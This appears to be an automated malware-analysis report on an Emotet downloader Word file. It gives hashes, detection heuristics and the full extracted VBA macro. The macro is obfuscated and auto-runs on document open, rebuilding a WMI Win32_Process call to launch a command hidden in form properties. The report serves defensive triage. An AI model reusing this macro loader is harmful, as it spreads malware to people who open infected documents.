Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb758f084bcbf748…

MALICIOUS

Office (OLE)

185.8 KB Created: 2019-12-17 19:38:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 508b65a91cc4db49ed8459dd5f442b65 SHA-1: a3f5cf6fea7fc7203633e081b70b9f788fa5d3ad SHA-256: eb758f084bcbf7486daab6d90db673776f225a12c5d35a5aaa0993f8419f2dbd
292 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGER
    Raw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    Bhdixncsenqzz = Join(Split("wii3j3j3g4nmi3j3j3g4gm" + "i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4", XXXXX), "") + Fwewgsxvm.Kynohyftfxvl + "rocess"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Fersqovwfira = VBA.CreateObject(Bhdixncsenqzz)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9795 bytes
SHA-256: 9fdf069a84514532cb73de88f13300b38ddc22d473c799634e49a08d03d01fa1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
124 of 192 identifiers look randomly generated (e.g. 'wii3j3j3g4nmi3j3j3g4gm') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Fwewgsxvm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Kynohyftfxvl, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Tzrsbarvnq = Cifeyeuzwwfxj To Wuxabmydhcacv
         Tywotkvixk = Nxutitdu
         Plmdeycxcyc = Gbunmala
Next
Select Case Ilgnirisc
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Jopawhmlfds = Nmmmtzaqvhv To Qtkngtqri
         Dcqubfqvmlghc = Jjaogtmr
         Aswzozemrjrj = Pracukmhxdk
Next
Select Case Utcqkabanuw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Afecopfl = Jhjvwpfqpad To Djylucywfkob
         Admqcmdqon = Pjhzwbmmbsqd
         Trdwvuudem = Abpmvkocmp
Next
Select Case Onopkinie
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Hayfmyxjmac
End Sub

Attribute VB_Name = "Glrvhpczwuacc"
Attribute VB_Base = "0{33AF3F25-E21F-4D17-B251-75A19A007FC2}{34AF674C-C563-4B97-9B44-4999A6319903}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ffbzcler"
Function Eicvzluzzyjz()
   For Fvcmxksajiv = Tgqniaxhur To Grtrrctzzeotf
         Dbylgyfahmrnu = Ldbmrtyjr
         Vkpswhnb = Vgubarmfa
Next
Select Case Nsslstdffrgfe
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Bcsvxjwyfiq = Fwewgsxvm.Kynohyftfxvl
   For Xswbzlpbd = Duzisecqvub To Yonclbuo
         Seglbkamhda = Bpsxqcxlw
         Dkymqcxzkegd = Bgvitdcmimns
Next
Select Case Mvewtniq
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Wbnzouns = Bcsvxjwyfiq + Glrvhpczwuacc.Ymxbppwuym + Glrvhpczwuacc.Xizngomift + Glrvhpczwuacc.Wdusjryrmo
   For Kpfuuykzgxu = Ybrvsunhmoy To Zedjnakgb
         Ugpnheprbv = Djjzdgxbg
         Ygvxjtpixuf = Ezzhyhekvy
Next
Select Case Ebgadffg
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ruivmiobx = Wbnzouns + Glrvhpczwuacc.Cnffpzgqhyvd + Glrvhpczwuacc.Nijviiiem
   For Reylfpimuxgz = Prdntfpffezr To Qpfjadzfbtyod
         Pwhrzbum = Ifmytmormw
         Wzpvjpkpebfc = Rzyuwcbxsx
Next
Select Case Igjxqnxxz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Eicvzluzzyjz = Cikzdfeygome + Ruivmiobx + Cikzdfeygome
   For Mdjnkimw = Ccqrpyjvbcdh To Cphptnngyvie
         Rcfdgnzb = Fftnqiaf
         Luaxcxgwevj = Ieyxabst
Next
Select Case Fkotzqqvchfqw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
End Function
Function Hayfmyxjmac()
   For Xdvphiehb = Iptoojrteb To Opdiwohax
         Yhimqbreqqisg = Wlporgzxhz
         Hstonepugfwbr = Ipgwxfmswkimt
Next
Select Case Bmmbjlwbuo
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
XXXXX = "i3j3j3g4"
Bhdixncsenqzz = Join(Split("wii3j3j3g4nmi3j3j3g4gm" + "i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4", XXXXX), "") + Fwewgsxvm.Kynohyftfxvl + "rocess"
   For Htjnntebjjp = Pwkmlbqewf To Cikoflbomq
         Hznhcqwlzue = Nkkhjlncbk
         Mdyokyzzxflo = Fivlhdre
Next
Select Case Qhdeilfp
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Set Fersqovwfira = VBA.CreateObject(Bhdixncsenqzz)
   For Duywmglkskfp = Mkpwpeakgclkw To Lgpefwqcnpuv
         Soyljfhtict = Nwkckophdpld
         Hcgvjiuonnynr = Ynkjedgcmkgc
Next
Select Case Ymhhjzrbgkm
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Pmxebgtghgjo = Bhdixncsenqzz + Glrvhpczwuacc.Vfeirhpgpcpn.ControlTipText + Glrvhpczwuacc.Jrxrefvoe.ControlTipText
   For Osoevqohpktq = Dhwxsmbc To Qtbwxwylau
         Ihuzzjsl = Ymznnzctq
         Cncosksliqyq = Pctnsknekupwk
Next
Select Case Igdbjguskgyza
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Rvlrhjmuzppzj = Pmxebgtghgjo + Fwewgsxvm.Kynohyftfxvl
   For Jcaxvwuzhoo = Afqycblnrjwf To Qdzyrurlbldd
         Rktytbdttbfm = Stdrgcdw
         Wqdpeevztqv = Xmnpxjxsetq
Next
Select Case Hlwfrvceb
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Set Hayfmyxjmac = CreateObject(Rvlrhjmuzppzj)
   For Tlgobosvdzvn = Emdciqcthgw To Nrjxhnrx
         Qkdawtfj = Smxsdchpaez
         Nedtbnzzqjim = Qfzbxwtja
Next
Select Case Uefcxreypqv
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Hayfmyxjmac.XSize = False
   For Xbgevdclnddd = Mrpxmuta To Vwkadsojdez
         Mnhifvettxdph = Ulyxbpiyscivp
         Ybzsdkfloeuxc = Lvmopsgcl
Next
Select Case Oogwaozt
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Hayfmyxjmac.YSize = False
   For Qhmrevudvag = Zgvdwzsx To Snpzmmrn
         Kdjbjpcdbzg = Cnougwbnpvdt
         Vhremesrwwt = Xowvxzsnl
Next
Select Case Krzzuhfhebgv
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Do While Fersqovwfira.Create(PPPP & Eicvzluzzyjz, Zrjrlekwnytjd, Hayfmyxjmac, Vaxyffds)
Loop
   For Ypbittisvhqyx = Gbxgagpsgder To Ugyewcglcieb
         Tkpyftzecuip = Vepcayabruacn
         Pcyqwyvnglouq = Whtjpxtb
Next
Select Case Rssuxdfefnsj
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
End Function

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